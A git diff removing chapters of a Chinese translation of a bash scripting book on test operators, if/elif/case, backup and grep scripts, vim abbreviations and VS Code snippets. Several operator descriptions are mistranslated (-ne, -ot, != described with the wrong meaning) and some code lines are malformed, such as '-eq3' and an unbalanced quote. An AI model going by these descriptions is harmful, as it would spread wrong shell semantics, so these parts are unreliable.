-如前所述,在决定是否设置变量时,测试字符串值为 0 是很有用的: - -```sh -test -z $1 -``` - -或者,更简单地说,我们可以使用以下方法: - -```sh -[ -z $1 ] -``` - -该查询的真实结果意味着没有向脚本提供输入参数。 - -# 测试的整数 - -除了测试 bash 脚本的字符串值之外,我们还可以测试整数值和整数。 另一种测试脚本输入的方法是计算位置参数的数量,并测试该数量是否高于`0`: - -```sh -test $# -gt 0 -``` - -或使用括号,如下所示: - -```sh -[ $# -gt 0 ] -``` - -在关系中,`$#`变量的顶部位置参数表示传递给脚本的参数数量。 - -有很多测试可以对数字进行: - -* `number1 -eq number2`:检查`number1`是否等于`number2` -* `number1 -ge number2`:检查`number1`是否大于或等于`number2`。 - -* `number1 -gt number2`:检查`number1`是否大于`number2` -* `number1 -le number2`:检查`number1`是否小于或等于`number2` -* `number1 -lt number2`:检查`number1`是否小于`number2` -* `number1 -ne number2`:检查`number1`是否等于`number2` - -# 测试文件类型 - -在测试值时,我们可以测试是否存在一个文件或文件类型。 例如,我们可能只希望删除一个符号链接的文件。 我们在编译内核时使用它。 `/usr/src/linux`目录应该是指向最新内核源代码的符号链接。 如果我们在编译新内核之前下载一个新版本,我们需要删除现有的链接并创建一个新的链接。 万一有人创建了`/usr/src/linux`目录,我们可以在删除之前测试它是否有链接: - -```sh -# [ -h /usr/src/linux ] &&rm /usr/src/linux -``` - -选项测试文件是否有链接。 其他选项包括: - -* `-d`:这表示它是一个目录 -* `-e`:表示文件以任何形式存在 -* `-x`:这表示文件是可执行的 -* `-f`:这表示该文件是一个常规文件 -* `-r`:表示该文件是可读的 -* `-p`:这表明该文件是一个命名管道 -* `-b`:这表示该文件是一个块设备 -* `file1 -nt file2`:检查`file1`是否比`file2`更新 -* `file1 -ot file2`:检查`file1`是否大于`file2` -* `-O file`:检查登录的用户是否为文件的所有者 -* `-c`:这表示该文件是一个字符设备 - -确实存在更多的选项,所以需要时可以深入研究主页。 我们将在整本书中使用不同的选项,从而给你提供实用和有用的例子。 - -# 使用 if 创建条件语句 - -如前所述,可以使用命令行列表构建简单的条件。 在编写这些条件语句时可以使用测试,也可以不使用测试。 随着任务复杂性的增加,使用`if`创建语句变得更加容易。 这当然会简化脚本的可读性和逻辑布局。 在某种程度上,它也符合我们思考和说话的方式; `if`是口语中的语义,与 bash 脚本中的语义相同。 - -虽然它在脚本中会占用不止一行,但使用`if`语句我们可以实现更多,使脚本更容易读懂。 话虽如此,让我们看看创造`if`条件。 下面是一个使用`if`语句的脚本示例: - -```sh -#!/bin/bash -# Welcome script to display a message to users on login -# Author: @theurbanpenguin -# Date: 1/1/1971 -if [ $# -lt 1 ] ; then -echo "Usage: $0 " -exit 1 -fi -echo "Hello $1" -exit 0 -``` - -只有当条件计算结果为 true 时,`if`语句中的代码才会运行,并且`if`块的结束用`fi`-`if`向后表示。 `vim`中的颜色编码有助于提高可读性,如下截图所示: - -![](img/e3c54fe4-dc6f-47c5-b4cf-70fd7e8ec78b.png) - -在脚本中,我们可以轻松地添加多个语句,以便在条件为`true`时运行。 在我们的例子中,这包括退出脚本并显示一个错误,以及包含`usage`语句来帮助用户。 这确保了我们只有在提供了欢迎的人的姓名后才显示`hello`消息。 - -我们可以在下面的截图中查看带参数和不带参数的脚本执行: - -![](img/7f8039a1-0737-44e3-afff-0e749ba74e1d.png) - -下面的伪代码显示了`if`条件语句的语法: - -```sh -if condition; then - statement 1 - statement 2 -fi -``` - -代码不需要缩进,但它有助于提高可读性,强烈推荐使用。 将`then`语句添加到与`if`语句相同的行中,同样有助于提高代码的可读性,并且需要用分号将`if`和`then`分开。 - -# 用 else 扩展 if - -当需要不管`if`条件的结果都继续执行脚本时,通常需要同时处理计算的两种条件,即在`true`和`false`条件下应该做什么。 这就是我们可以使用`else`关键字的地方。 这允许在条件为真时执行一个代码块,在条件为假时执行另一个代码块。 伪代码如下所示: - -```sh -if condition; then - statement -else - statement -fi -``` - -如果我们考虑扩展前面创建的`hello5.sh`脚本,那么无论是否存在参数,都可以很容易地允许正确执行。 我们可以将其重新创建为`hello6.sh`,如下: - -```sh -#!/bin/bash -# Welcome script to display a message to users -# Author: @theurbanpenguin -# Date: 1/1/1971 -if [ $# -lt 1 ] ; then -read -p "Enter a name: " -name=$REPLY -else -name=$1 -fi -echo "Hello $name" -exit 0 - -``` - -现在脚本设置了一个命名变量,这有助于可读性,我们可以从输入参数或从`read`提示符为`$name`赋值; 不管怎样,脚本运行良好,并开始成形。 - -# 使用 if 命令测试命令 - -您已经了解了如何使用`test`命令或简短版本`[ ]`。 这个测试返回 0 (true)或非 0 (false)。 - -您将看到如何使用`if`命令检查返回的结果。 - -# 检查字符串 - -您可以使用`if`命令和`test`命令来检查字符串是否匹配特定的条件: - -* `if [$string1 = $string2]`:检查`string1`是否与`string2`相同。 -* `if [$string1 != $string2]`:检查`string1`与`string2`是否相同。 -* `if [$string1 \< $string2]`:检查`string1`是否小于`string2` -* `if [$string1 \> $string2]`:检查`string1`是否大于`string2` - -小于和大于应该使用反斜杠进行转义,就像它显示一个警告一样。 - -* `if [-n $string1]`:检查`string1`是否大于零 -* `if [-z $string1]`:检查`string1`是否为零长度 - -让我们看一些例子来解释`if`语句是如何工作的: - -```sh -#!/bin/bash -if [ "mokhtar" = "Mokhtar" ] -then -echo "Strings are identical" -else -echo "Strings are not identical" -fi - -``` - -![](img/74dbf900-d13c-41cf-a80c-4e18abd68a4a.png) - -这个`if`语句检查字符串是否相同; 由于字符串不相同,因为其中一个有大写字母,所以它们被标识为不相同。 - -Note the space between the square brackets and the variables; without this space it will show a warning in some cases. - -不相等运算符(`!=`)的工作方式相同。 同样,你也可以否定`if`,它会以同样的方式工作,像这样: - -```sh -if ! [ "mokhtar" = "Mokhtar" ] -``` - -小于和大于操作符从 ascii 顺序的角度检查第一个字符串是否大于或小于第二个字符串: - -```sh -#!/bin/bash -if [ "mokhtar" \> "Mokhtar" ] -then -echo "String1 is greater than string2" -else -echo "String1 is less than the string2" -fi - -``` - -![](img/ff88ad5f-cd5f-4136-be1d-75c2fd803432.png) - -在 ASCII 顺序中,小写字符比大写字符高。 - -如果您使用`sort`命令对文件或类似文件进行排序,并发现排序顺序与`test`命令相反,请不要感到困惑。 这是因为`sort`命令使用了来自系统设置的编号顺序,这与 ASCII 顺序相反。 - -要检查字符串长度,可以使用`-n`测试: - -```sh -#!/bin/bash -if [ -n "mokhtar" ] -then -echo "String length is greater than zero" -else -echo "String is zero length" -fi -``` - -![](img/11a536ac-c91c-40a0-999a-b510d4ae52fe.png) - -要检查长度为零,可以使用`-z`测试: - -```sh -#!/bin/bash -if [ -z "mokhtar" ] -then -echo "String length is zero" -else -echo "String length is not zero" -fi - -``` - -![](img/3883875a-03ce-4aa8-886f-86a9e8bf9e4c.png) - -我们在测试字符串周围使用了引号,尽管我们的字符串没有空格。 - -如果您有一个带有空格的字符串,您**必须**使用引号。 - -# 检查文件和目录 - -类似地,您可以使用`if`语句检查文件和目录。 - -让我们看一个例子: - -```sh -#!/bin/bash -mydir=/home/mydir -if [ -d $mydir ] -then -echo "Directory $mydir exists." -else -echo "Directory $mydir not found." -fi -``` - -我们使用`-d`测试来检查路径是否为目录。 - -其余的测试工作方式相同。 - -# 检查数量 - -同样,我们可以使用`test`和`if`命令检查数字。 - -```sh -#!/bin/bash -if [ 12 -gt 10 ] -then -echo "number1 is greater than number2" -else -echo "number1 is less than number2" -fi -``` - -![](img/1067d6cb-c22a-4133-94a4-7bccbe1c20a2.png) - -正如所料,`12`大于`10`。 - -所有其他数字测试的工作方式相同。 - -# 结合测试 - -您可以组合多个测试并使用一个`if`语句检查它们。 - -这是通过`AND`(`&&`)和`OR`(`||`)命令完成的: - -```sh -#!/bin/bash -mydir=/home/mydir -name="mokhtar" -if [ -d $mydir ] && [ -n $name ]; then - echo "The name is not zero length and the directory exists." -else -echo "One of the tests failed." -fi -``` - -![](img/f63859d4-b6fb-4942-b9fc-06966967efab.png) - -`if`语句执行两次检查,它检查目录是否存在以及名称长度不为零。 - -这两个测试必须返回成功(零)以评估下一个`echo`命令。 - -如果其中一个失败,则`if`语句转到`else`子句。 - -与`OR`(`||`)命令不同,如果任何一个测试返回成功(零),则`if`语句成功。 - -```sh -#!/bin/bash -mydir=/home/mydir -name="mokhtar" -if [ -d $mydir ] || [ -n $name ]; then - echo "One of tests or both successes" -else -echo "Both failed" -fi -``` - -![](img/0d829e61-aeed-48c1-8224-2a5902974186.png) - -很明显,如果其中一个测试返回 true,那么`if`语句将为组合测试返回 true。 - -# 更多的条件与 elif - -在需要更大程度控制的地方,我们可以使用`elif`关键字。 与`else`不同,`elif`要求为每个`elif`测试一个附加条件。 这样,我们就可以为不同的情况做准备。 我们可以根据需要添加许多`elif`条件。 下面显示了一些伪代码: - -```sh -if condition; then -statement -elif condition; then -statement -else -statement -fi -exit 0 -``` - -脚本可以为更复杂的代码段提供简化的选择,从而简化操作人员的工作。 尽管为了满足需求,脚本变得越来越复杂,但对于操作人员的执行却大大简化了。 我们的工作是让用户在创建脚本时能够从命令行轻松地运行更复杂的操作。 通常,这将需要在我们的脚本中增加更多的复杂性; 然而,我们将得到脚本化应用的可靠性。 - -# 使用 elif 命令创建 backup2.sh - -我们可以重新访问为运行早期备份而创建的脚本。 这个脚本`$HOME/bin/backup.sh`提示用户输入文件类型和存储备份的目录。 用于备份的工具有`find`和`cp`。 - -有了这个新发现的知识,我们现在可以允许脚本使用命令`tar`和操作员选择的压缩级别来运行备份。 不需要选择文件类型,因为将备份完整的主目录,备份目录本身除外。 - -操作人员可以根据`H`、`M`、`L`三个字母选择压缩值。 选择将影响传递给`tar`命令的选项和创建的备份文件。 选择高级别使用`bzip2`压缩,中级别使用`gzip`压缩,低级别创建未压缩的`tar`存档。 逻辑存在于扩展的`if`语句中,如下: - -```sh -if [ $file_compression = "L" ] ; then -tar_opt=$tar_l -elif [ $file_compression = "M" ]; then -tar_opt=$tar_m -else -tar_opt=$tar_h -fi -``` - -根据用户的选择,我们可以为`tar`命令配置正确的选项。 由于我们有三个条件要评估,所以`if`、`elif`和`else`语句是合适的。 要查看变量是如何配置的,我们可以查看脚本中的以下摘录: - -```sh -tar_l="-cvf $backup_dir/b.tar --exclude $backup_dir $HOME" -tar_m="-czvf $backup_dir/b.tar.gz --exclude $backup_dir $HOME" -tar_h="-cjvf $backup_dir/b.tar.bzip2 --exclude $backup_dir $HOME" -``` - -完整的脚本可以创建为`$HOME/bin/backup2.sh`,并且应该包含以下代码: - -```sh -#!/bin/bash -# Author: @theurbanpenguin -# Web: www.theurbapenguin.com -read -p "Choose H, M or L compression " file_compression -read -p "Which directory do you want to backup to " dir_name -# The next lines creates the directory if it does not exist -test -d $HOME/$dir_name || mkdir -m 700 $HOME/$dir_name -backup_dir=$HOME/$dir_name -tar_l="-cvf $backup_dir/b.tar --exclude $backup_dir $HOME" -tar_m="-czvf $backup_dir/b.tar.gz --exclude $backup_dir $HOME" -tar_h="-cjvf $backup_dir/b.tar.bzip2 --exclude $backup_dir $HOME" -if [ $file_compression = "L" ] ; then -tar_opt=$tar_l -elif [ $file_compression = "M" ]; then -tar_opt=$tar_m -else -tar_opt=$tar_h -fi -tar $tar_opt -exit 0 -``` - -当我们执行脚本时,我们需要用大写字母选择`H`、`M`或`L`,因为这是在脚本中进行选择的方式。 下面的截图显示了初始脚本的执行,其中选择了`M`: - -![](img/5db19093-f5be-42e5-9e7f-8d31490c4835.png) - -# 使用情况报表 - -当对单个表达式求值时,与其使用多个`elif`语句,不如使用`case`语句提供更简单的机制。 - -使用伪代码,`case`语句的基本布局如下所示: - -```sh -case expression in - case1) - statement1 - statement2 - ;; - case2) - statement1 - statement2 - ;; - *) - statement1 - ;; -esac -``` - -我们看到的语句布局与其他语言中存在的`switch`语句没有什么不同。 在 bash 中,我们可以使用`case`语句来测试简单值,比如字符串或整数。 Case 语句可以处理范围很广的字母,例如`[a-f]`或`a`到`f`,但是它们不能轻松处理像`[1-20]`这样的整数范围。 - -`case`语句首先展开表达式,然后尝试将其与每个项依次匹配。 当找到匹配时,执行所有语句,直到`;;`。 这表示该匹配的代码结束。 如果没有匹配,则匹配由`*`表示的 case`else`语句。 这必须是列表中的最后一项。 - -考虑下面的脚本`grade.sh`,它是用来评价分数的: - -```sh -#!/bin/bash -#Script to evaluate grades -#Usage: grade.sh stduent grade -#Author: @likegeeks -#Date: 1/1/1971 -if [ ! $# -eq 2 ] ; then - echo "You must provide " - exit 2 -fi -case ${2^^} in #Parameter expansion is used to capitalize input - [A-C]) echo "$1 is a star pupil" - ;; - [D]) echo "$1 needs to try a little harder!" - ;; - [E-F]) echo "$1 could do a lot better next year" - ;; - *) echo "Grade could not be evaluated for $1 $2" - ;; -esac -``` - -脚本首先使用一个`if`语句检查是否恰好有两个参数提供给脚本。 如果没有提供,脚本将以错误状态退出: - -```sh -if [ ! $# -eq2 ] ; then -echo "You must provide -exit 2 -fi -``` - -然后,我们对变量`$2`的值进行参数展开,使用`^^`将输入大写。 这代表我们提供的等级。 由于要对输入进行大写,我们首先尝试匹配字母`A`到`C`。 - -我们对提供的其他等级`E`至`F`进行类似测试。 - -以下截图显示了不同等级的脚本执行情况: - -![](img/a8e5aec7-d0e4-4654-930d-65d27d51e8fb.png) - -# Recipe—使用 grep 构建一个前端 - -作为本章的结尾,我们将把我们学到的一些特性组合在一起,并构建一个脚本,该脚本提示操作符输入文件名、搜索字符串和使用`grep`命令执行的操作。 我们将创建脚本为`$HOME/bin/search.sh`,并且不要忘记让它可执行: - -```sh -#!/bin/bash -#Author: @theurbanpenguin -usage="Usage: search.sh file string operation" - -if [ ! $# -eq3 ] ; then -echo "$usage" -exit 2 -fi - -[ ! -f $1 ] && exit 3 - -case $3 in - [cC]) -mesg="Counting the matches in $1 of $2" -opt="-c" - ;; - [pP]) -mesg="Print the matches of $2 in $1" - opt="" - ;; - [dD]) -mesg="Printing all lines but those matching $3 from $1" -opt="-v" - ;; - *) echo "Could not evaluate $1 $2 $3";; -esac -echo $mesg -grep $opt $2 $1 -``` - -我们首先使用下面的代码检查三个输入参数: - -```sh -if [ ! $# -eq3 ] ; then -echo "$usage" -exit 2 -fi -``` - -接下来的检查使用命令行列表来退出脚本,如果 file 参数不是一个常规文件,使用`test -f`: - -```sh -[ ! -f $1 ]&& exit 3 -``` - -`case`语句允许三种操作: - -* 计算匹配行 -* 打印匹配的行 -* 打印除匹配行以外的所有行 - -下面的屏幕截图显示了在`/etc/ntp.conf`文件中搜索以字符串服务器开头的行。 我们在这个例子中选择 count 选项: - -![](img/0138fe56-7b1e-4b12-b8fc-3740b01bfca0.png) - -# 总结 - -脚本编写中最重要和最耗时的任务之一是构建所有我们需要的条件语句,以使脚本可用和健壮。 人们经常提到一条 80/20 规则。 也就是 20%的时间花在写主脚本上,80%的时间花在确保脚本中正确处理所有可能的事件上。 这就是我们所说的脚本的过程完整性,即我们试图仔细而准确地涵盖每个场景。 - -我们从一个使用命令行列表的简单测试开始。 如果需要的操作很简单,那么这些操作提供了很好的功能,并且很容易添加。 在需要更复杂的地方,我们添加`if`语句。 - -使用`if`语句,我们可以根据需要使用`else`和`elif`关键字扩展它们。 不要忘记`elif`关键词需要有自己的条件来评估。 - -我们了解了如何在`test`命令中使用`if`语句,并检查字符串、文件和数字。 - -最后,我们了解了如何在需要计算单个表达式的情况下使用`case`。 - -在下一章中,我们将试图理解阅读已经准备好的代码片段的重要性。 我们将创建一个示例`if`语句,可以将其保存为代码片段,以便在编辑时读取到脚本中。 - -# 问题 - -1. 下面的代码:`True`或`False`的结果是什么? - -```sh -if [ "LikeGeeks" \> "likegeeks" ] -then -echo "True" -else -echo "False" -fi -``` - -2. 下面哪个脚本是正确的? - -```sh -#!/bin/bash -if ! [ "mokhtar" = "Mokhtar" ] -then -echo "Strings are not identical" -else -echo "Strings are identical" -fi -``` - -或 - -```sh -#!/bin/bash -if [ "mokhtar" != "Mokhtar" ] -then -echo "Strings are not identical" -else -echo "Strings are identical" -fi -``` - -3. 在下面的例子中,一个操作符可以使用多少个命令返回`True`? - -```sh -#!/bin/bash -if [ 20 ?? 15 ] -then -echo "True" -else -echo "False" -fi -``` - -4. 下面代码的结果是什么? - -```sh -#!/bin/bash -mydir=/home/mydir -name="mokhtar" -if [ -d $mydir ] || [ -n $name ]; then - echo "True" -else -echo "False" -fi -``` - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-6.html](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-6.html) -* [http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_07_03.html](http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_07_03.html) -* [http://wiki.bash-hackers.org/commands/classictest](http://wiki.bash-hackers.org/commands/classictest) \ No newline at end of file diff --git a/docs/master-linux-shell-script/04.md b/docs/master-linux-shell-script/04.md deleted file mode 100644 index 2241a6ab..00000000 --- a/docs/master-linux-shell-script/04.md +++ /dev/null @@ -1,276 +0,0 @@ -# 四、创建代码片段 - -现在我们可以编写条件测试来做决定。 在您的手在编码方面变得更快之后,您将需要保存一些代码片段以供以后使用,那么如何在编写脚本时节省时间和精力呢? - -如果您喜欢使用命令行,但也喜欢与使用图形化的**集成开发环境**(**IDEs**)相关的一些特性,那么本章可能会向您揭示一些新的思想。 我们可以在命令行中使用 vi 或 vim 文本编辑器为常用脚本元素创建快捷方式。 - -在本章中,我们将涵盖以下主题: - -* 缩写 -* 使用代码片段 -* 使用 VS Code 创建代码片段 - -# 技术要求 - -本章的源代码可以从这里下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter04](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter04) - -# 缩写 - -我们已经在`~/.vimrc`文件中短暂停留了一段时间,现在我们将重新访问该文件来查看缩写或`abbr`控件。 该文件充当 vim 文本编辑器的运行控制机制,该编辑器可能安装在您的 Linux 发行版上。 旧的发行版或 Unix 变体可能有原始的 vi 文本编辑器,并将使用`~/.exrc`文件。 如果您不确定您的 vi 版本的标识和要使用的正确运行控制文件,只需输入`vi`命令。 如果打开一个空白页面,它确实是 vi。但是,如果一个新的空白文档随着 vim 启动屏幕打开,那么您使用的是改进的 vim 或 vi。 - -缩写允许使用快捷字符串来代替较长的字符串。 这些缩写可以在 vim 会话的最后一行模式中设置,但通常是在控制文件中设置。 shebang 可以很容易地用一个缩写表示,如下所示: - -```sh -abbr _sh #!/bin/bash - -``` - -缩写的基本语法如下所示: - -```sh -abbr -``` - -使用这个缩写,我们只需要在编辑模式下键入`_sh`。 在按下快捷码后的*Enter*键,将打印 shebang 的全文。 在现实中,按下`abbr`代码后的任何键都将展开快捷键,而不仅仅是按下*Enter*键。 像这样的简单元素可以大大增加使用 vim 作为文本编辑器的体验。 以下截图显示了更新后的`~/.vimrc`文件: - -![](img/18a71227-66b4-4c86-92c2-be640ebb9c92.png) - -我们不局限于单个缩写代码,因为我们可以添加更多的`abbr`条目,例如,在行中支持 Perl 脚本的 shebang: - -```sh -abbr _pl #!/usr/bin/perl -``` - -下划线的使用不是必需的,但其目的是保持快捷方式代码的唯一性,避免出现键入错误。 我们也不局限于一行,尽管这是缩写最常用的地方。 考虑以下一个`if`语句的缩写: - -```sh -abbr _if if [-z $1];thenecho "> $0 exit 2fi -``` - -虽然这样做是有效的,但是`if`语句的格式不是完美的,多行缩写也远非理想。 在这种情况下,我们可以考虑使用预先准备好的代码片段。 - -# 使用代码片段 - -我们所说的术语*代码片段*是指我们可以读入当前脚本的预先准备的代码。 这是特别容易与 vim 能够读取其他文本文件的内容在编辑: - -```sh -ESC -:r -``` - -例如,如果我们需要读取位于`$HOME/snippets`中名为`if`的文件的内容,我们将在 vim 中使用以下键序列: - -```sh -ESC -:r $HOME/snippets/if -``` - -该文件的内容被读入当前光标位置下方的当前文档。 通过这种方式,我们可以根据需要使代码片段变得非常复杂,并维护正确的缩进以提高可读性和一致性。 - -因此,我们的职责是在`home`目录中创建一个 snippets 目录: - -```sh -$ mkdir -m 700 $HOME/snippets -``` - -不需要共享目录,因此最好在创建目录时将模式设置为`700`或将模式设置为用户私有。 - -在创建代码片段时,您可以选择使用伪代码或实际示例。 我倾向于使用经过编辑的真实示例,以反映接收脚本的需求。 一个简单的`if`片段的内容如下: - -```sh -if [ -z $1 ] ; then - echo "Usage: $0 " - exit 2 -fi -``` - -这为我们提供了通过实际示例创建`if`语句的布局。 在本例中,我们检查`$1`是否未设置,并在退出脚本之前向用户发送一个错误。 关键是保持代码片段简短,以限制需要进行的更改,但要使其易于理解和根据需要进行扩展。 - -# 为终端带来颜色 - -如果我们要向执行脚本的用户和操作符显示文本消息,我们可以提供颜色来帮助解释消息。 使用红色表示错误,使用绿色表示成功,这样可以更容易地向脚本添加功能。 不是所有的,但肯定绝大多数的 Linux 终端支持颜色。 内置的命令`echo`,当与`-e`选项一起使用时,可以向用户显示颜色。 - -要显示红色文本,可以使用以下命令`echo`: - -```sh -$ echo -e "\033[31mError\033[0m" -``` - -下面的截图显示了代码和输出: - -![](img/3756bd4f-60e1-4b74-a125-7bc0accd7f75.png) - -红色文本将立即引起对文本和脚本执行的潜在失败的注意。 以这种方式使用颜色符合应用设计的基本原则。 如果您发现代码很麻烦,那么只需使用友好的变量来表示颜色和重置代码。 - -在前面的代码中,我们使用红色和最终的重置代码将文本设置回 shell 默认值。 我们可以轻松地为这些颜色代码和其他代码创建变量: - -```sh -RED="\033[31m" -GREEN="\033[32m" -BLUE="\033[34m" -RESET="\033[0m" -``` - -值`\033`是转义字符,`[31m`是红色的颜色代码。 - -在使用变量时,我们需要小心,以确保它们与文本正确分隔。 修改前面的例子,我们可以看到这是如何轻松实现的: - -```sh -$ echo -e ${RED}Error$RESET" -``` - -我们使用大括号来确保识别`RED`变量并将其与`Error`单词分隔开。 - -将变量定义保存到`$HOME/snippets/color`文件将允许在其他脚本中使用它们。 有趣的是,我们不需要编辑这个脚本; 我们可以使用`source`命令在运行时将这些变量定义读入脚本。 在接收方脚本中,我们需要添加以下一行: - -```sh -source $HOME/snippets/color -``` - -使用 shell 内置的`source`命令将把颜色变量读入在运行时执行的脚本中。 下面的截图显示了`hello5.sh`脚本的修改版本,我们现在将其称为`hello7.sh`,它使用了以下颜色: - -![](img/9aa3334f-1525-472a-86f4-10a53c330ed5.png) - -我们可以看到这在执行脚本时所产生的效果。 在下面的截图中,你会看到有和没有参数的执行和输出: - -![](img/71142b64-9bff-498c-82f2-2c13189ee3bf.png) - -我们可以通过彩色编码的输出轻松地识别脚本的成功和失败; 绿色的`Hello fred`提供参数,红色的`Usage`没有提供所需的名称。 - -# 使用 VS Code 创建代码片段 - -对于那些喜欢图形化 ide 的人,你可以使用 VS Code 作为你的 shell 脚本的编辑器。 我们在[第一章](01.html),*Bash 脚本的内容和原因*中使用了它作为调试器。 现在我们将看到它作为编辑器的功能之一。 - -你可以在 VS Code 中创建自己的代码片段,如下所示。 - -导航到文件|首选项|用户片段。 - -然后键入`shell`。 这将打开`shellscript.json`文件。 - -该文件有两个括号,准备在它们之间输入你的代码片段: - -![](img/d01fff83-5f0a-42a7-aea0-6e15120a8809.png) - -要创建代码段,请在文件的方括号之间键入以下内容: - -```sh -"Print a welcome message": { - "prefix": "welcome", - "body": [ - "echo 'Welcome to shell scripting!' " - ], - "description": "Print welcome message" - } -``` - -![](img/9400bc9c-4f58-43f0-bb77-33d4d76e651b.png) - -您可以使用以下模板并根据需要进行修改。 - -尽量使用与 shell 脚本关键字不同的前缀,以避免混淆。 - -当你打开任何`.sh`文件并开始键入`welcome`时,自动补全将显示我们刚刚创建的代码片段: - -![](img/f87376e6-2924-4f8e-9b50-79fc8ba9e4de.png) - -你可以使用任何你想要的前缀; 在我们的例子中,我们使用了`welcome`,因此自动补全从它开始。 - -你可以在你的代码片段主体中添加很多行: - -```sh -"Print to a welcome message": { - "prefix": "welcome", - "body": [ - "echo 'Welcome to shell scripting!' ", - "echo 'This is a second message'" - ], - "description": "Print welcome message" - } -``` - -可以在代码片段主体中使用占位符来简化代码编辑。 - -占位符是这样写的: - -```sh -$1, $2, etc, -``` - -修改前面的代码片段,并添加一个占位符,如下所示: - -```sh -"Print a welcome message": { - "prefix": "welcome", - "body": [ - "echo 'Welcome to shell scripting! $1' " - ], - "description": "Print welcome message" - } -``` - -当您开始键入`welcome`并选择代码片段后,您将注意到光标将停在等待您输入的占位符的确切位置。 - -如果你忘记在这些可编辑的地方输入什么,你可以使用选项: - -```sh - "Print to a welcome message": { - "prefix": "welcome", - "body": [ - "echo 'Welcome to shell scripting! ${1|first,second,third|}' " - ], - "description": "Print welcome message" - } -``` - -当你在你的代码中选择这个片段并点击*Enter*,你应该会看到光标在等待你的输入和你的选择: - -![](img/24439a99-2597-4a4b-991c-13a3279e1e97.png) - -这是非常有用的! - -同样,你可以为占位符添加一个默认值,这样如果你按*Tab*,这个值就会被写入: - -```sh -"Print a welcome message": { - "prefix": "welcome", - "body": [ - "echo 'Welcome to shell scripting! ${1:book}' " - ], - "description": "Print welcome message" - } -``` - -# 总结 - -对任何管理员来说,脚本重用都是追求效率的首要任务。 在命令行中使用 vim 可以非常快速和有效地编辑脚本,我们可以节省使用缩写的打字时间。 它们最好在用户的个人`.vimrc`文件中设置,并使用`abbr`控件定义。 除了缩略语,我们还可以看到使用代码片段的意义。 这些是预先准备好的代码块,可以读取到当前脚本中。 - -此外,我们还了解了在脚本提供反馈的命令行中使用颜色的价值。 乍一看,这些颜色代码并不是最友好的,但我们可以通过使用变量来简化这个过程。 我们创建了带有颜色代码的变量,并将它们保存到一个文件中,通过使用 source 命令,这些变量将可用于当前环境。 - -最后,我们了解了如何使用 VS code 创建代码片段,以及如何添加占位符来简化代码编辑。 - -在下一章中,我们将看看其他机制,我们可以用它们来编写测试表达式,简化整数和变量的使用。 - -# 问题 - -1. 下面的代码创建了打印一行的代码片段。 如何制作带有选项的代码片段? - -```sh -"Hello message": { - "prefix": "hello", - "body": [ - "echo 'Hello $1' " - ], - "description": "Hello message" - } -``` - -2. 您应该使用哪个命令使您的代码片段可以在 shell 中使用? - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [https://code.visualstudio.com/docs/editor/userdefinedsnippets](https://code.visualstudio.com/docs/editor/userdefinedsnippets) -* [https://brigade.engineering/sharpen-your-vim-with-snippets-767b693886db](https://brigade.engineering/sharpen-your-vim-with-snippets-767b693886db) \ No newline at end of file diff --git a/docs/master-linux-shell-script/05.md b/docs/master-linux-shell-script/05.md deleted file mode 100644 index da4f0101..00000000 --- a/docs/master-linux-shell-script/05.md +++ /dev/null @@ -1,420 +0,0 @@ -# 五、替代语法 - -到目前为止,在脚本编写过程中,我们已经看到可以使用`test`命令来确定一个条件状态。 我们更进一步,发现我们还可以利用单个方括号。 在这里,我们将回顾一下`test`命令,并更详细地查看单个方括号。 在学习了更多关于方括号的知识之后,我们将转向更高级的变量或参数管理,从而提供默认值和低估引用问题。 - -最后,我们将看到在 bash、Korn 和 Zsh 等高级 shell 中,我们可以使用双括号! 使用双圆括号和双方括号可以简化整个语法,并允许数学符号的使用标准化。 - -在本章中,我们将涵盖以下主题: - -* 总结`test` -* 提供参数默认值 -* 当有疑问时——引用! -* 使用`[[`进行高级测试 -* 使用`((`进行算术运算 - -# 技术要求 - -本章的源代码可以从这里下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter05](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter05) - -# 再次回顾 test 命令 - -到目前为止,我们使用内置的`test`命令来驱动条件语句。 使用`test`的其他选项,我们可以查看返回值来确定文件系统中文件的状态。 不带任何选项运行`test`命令将返回 false 输出: - -```sh -$ test -``` - -# 测试文件 - -通常,我们可以使用`test`来检查基于文件的条件。 例如,要测试一个文件是否存在,可以使用`-e`选项。 下面的命令将测试`/etc/hosts`文件是否存在: - -```sh -test -e /etc/hosts -``` - -我们可以再次运行这个`test`,但这一次检查该文件不仅存在,而且是一个常规文件,而不是具有某些特殊目的。 特定的文件类型可以是目录、管道和链接等等。 普通文件的选项是`-f`: - -```sh -$ test -f /etc/hosts -``` - -# 添加逻辑 - -如果我们需要从我们的脚本中打开一个文件,我们将测试该文件是否是一个常规文件并且具有读权限集。 为了通过`test`实现这一点,我们还可以将`-a`选项包含在`AND`多个条件中。 在下面的示例命令中,我们将使用`-r`条件来检查文件是否可读: - -```sh -$ test -f /etc/hosts -a -r /etc/hosts -``` - -类似地,对于表达式中的`OR`两个条件,也支持使用`-o`。 - -# 方括号是前所未见的 - -作为`test`命令的替代方法,我们可以使用单个方括号实现相同的条件测试。 重复前面的条件`test`并省略命令本身。 我们将重写它,如下面的命令所示: - -```sh - $ [ -f /etc/hosts -a -r /etc/hosts ] -``` - -很多时候,即使是有经验的管理员,我们也习惯于语言元素,并接受它们的本来面目。 我觉得许多 Linux 管理员会惊讶地发现,`[`既是内置 shell 的命令,也是独立文件的命令。 使用`type`命令,我们可以验证: - -```sh -$ type -a [ -``` - -我们可以在下面的截图中看到这个命令的输出,确认其存在: - -![](img/af5fd18f-715b-4990-8093-d42b9adefdcb.png) - -内置的`[`命令模仿`test`命令,但它需要一个右括号。 - -现在我们对 bash 和早期的 Bourne shell 中的`[`命令了解了一些,现在我们可以继续添加一点命令行列表语法。 除了命令行列表,我们还可以在下面的命令示例中看到所需的功能: - -```sh -$ FILE=/etc/hosts -$ [ -f $FILE -a -r $FILE ] && cat $FILE -``` - -在设置参数`FILE`变量之后,我们可以在列出文件内容之前测试它是否是一个常规文件,并且用户能够读取它。 